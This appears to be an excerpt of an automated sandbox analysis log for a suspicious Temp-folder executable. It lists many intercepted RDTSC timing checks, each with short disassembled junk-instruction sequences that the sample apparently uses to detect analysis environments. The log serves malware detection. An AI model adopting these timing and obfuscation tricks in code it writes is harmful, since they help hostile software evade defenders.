Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C412E second address: 4C413E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81CAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C413E second address: 4C416D instructions: 0x00000000 rdtsc 0x00000002 je 00007F742CC44225h 0x00000008 jmp 00007F742CC44219h 0x0000000d jnl 00007F742CC44206h 0x00000013 jng 00007F742CC44220h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C416D second address: 4C4195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F742CEB81CCh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C4195 second address: 4C419A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C4C56 second address: 4C4C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C4C5C second address: 4C4C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C4C60 second address: 4C4C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F5F8 second address: 41F5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F5FC second address: 41F606 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F742CEB81C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F606 second address: 41F612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F612 second address: 41F616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F616 second address: 41F622 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F622 second address: 41F634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81CEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F634 second address: 41F63A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41F63A second address: 41F652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F742CEB81CEh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C81CE second address: 4C81F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F742CC4420Dh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F742CC44213h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C81F8 second address: 4C81FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C83B5 second address: 4C83B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE475 second address: 4CE48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81CFh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE603 second address: 4CE607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE607 second address: 4CE61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F742CEB81C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F742CEB81CCh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE61F second address: 4CE62F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F742CC44206h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE62F second address: 4CE633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CE633 second address: 4CE637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF33B second address: 4CF33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF33F second address: 4CF370 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F742CC44206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d js 00007F742CC44206h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 jl 00007F742CC44215h 0x0000001c jmp 00007F742CC4420Fh 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF370 second address: 4CF376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF376 second address: 4CF37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF37A second address: 4CF394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F742CEB81C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF394 second address: 4CF398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF694 second address: 4CF6B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CF9E2 second address: 4CFA1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007F742CC44206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F742CC44210h 0x00000014 jne 00007F742CC44219h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CFD4C second address: 4CFD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F742CEB81D2h 0x0000000a je 00007F742CEB81C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4CFD5E second address: 4CFD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F742CC4420Ah 0x0000000c jmp 00007F742CC44215h 0x00000011 jns 00007F742CC44206h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F742CC4420Ah 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D48BF second address: 4D48C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D48C8 second address: 4D48CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D4B81 second address: 4D4B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D4B86 second address: 4D4B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D4E95 second address: 4D4E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D4FD9 second address: 4D501C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F742CC44208h 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F742CC4420Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F742CC4420Fh 0x00000019 push eax 0x0000001a jo 00007F742CC44206h 0x00000020 jmp 00007F742CC44210h 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4D695B second address: 4D6975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2FA8 second address: 4E2FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2FAE second address: 4E2FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2FB2 second address: 4E2FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2FB8 second address: 4E2FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2FC5 second address: 4E2FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1351 second address: 4E1358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E18B4 second address: 4E18E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F742CC44221h 0x0000000a jmp 00007F742CC4420Bh 0x0000000f jmp 00007F742CC44210h 0x00000014 pushad 0x00000015 jo 00007F742CC44206h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1A44 second address: 4E1A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1BCD second address: 4E1BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1D50 second address: 4E1D56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1D56 second address: 4E1D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E1D5A second address: 4E1D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2719 second address: 4E271F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E271F second address: 4E2723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2DE6 second address: 4E2DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2DEC second address: 4E2DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2DF2 second address: 4E2DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2DFB second address: 4E2E05 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4E2E05 second address: 4E2E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F742CC44206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4EA24C second address: 4EA250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4EA250 second address: 4EA26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44211h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F742CC44206h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4EA38D second address: 4EA393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4EA393 second address: 4EA397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4F9F0E second address: 4F9F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4FBB6E second address: 4FBB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4FBB72 second address: 4FBB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 ja 00007F742CEB81C6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4FBB82 second address: 4FBBBF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F742CC44212h 0x00000008 jp 00007F742CC44208h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F742CC44211h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jnc 00007F742CC44206h 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 501EA1 second address: 501EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F742CEB81CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 501EC6 second address: 501ED0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F742CC44206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 505285 second address: 505289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 505289 second address: 50528F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50528F second address: 50529A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F742CEB81C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50529A second address: 5052A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50BD36 second address: 50BD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50BD3A second address: 50BD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50BD40 second address: 50BD47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50BD47 second address: 50BD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44211h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50E02A second address: 50E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50E031 second address: 50E04F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F742CC44212h 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F742CC44206h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50E04F second address: 50E053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50E053 second address: 50E076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44213h 0x00000007 jg 00007F742CC44206h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 50F647 second address: 50F6B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F742CEB81D2h 0x00000010 jmp 00007F742CEB81D4h 0x00000015 jmp 00007F742CEB81D5h 0x0000001a popad 0x0000001b jmp 00007F742CEB81D5h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F742CEB81CCh 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 51609E second address: 5160A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5160A9 second address: 5160AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5160AD second address: 5160C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F742CC44210h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5160C9 second address: 5160D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F742CEB81CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5160D6 second address: 5160E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 5160E0 second address: 5160F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F742CEB81C6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 514961 second address: 514997 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F742CC44212h 0x00000008 jmp 00007F742CC44217h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F742CC4421Eh 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 514997 second address: 51499F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 51499F second address: 5149A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 514F3E second address: 514F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
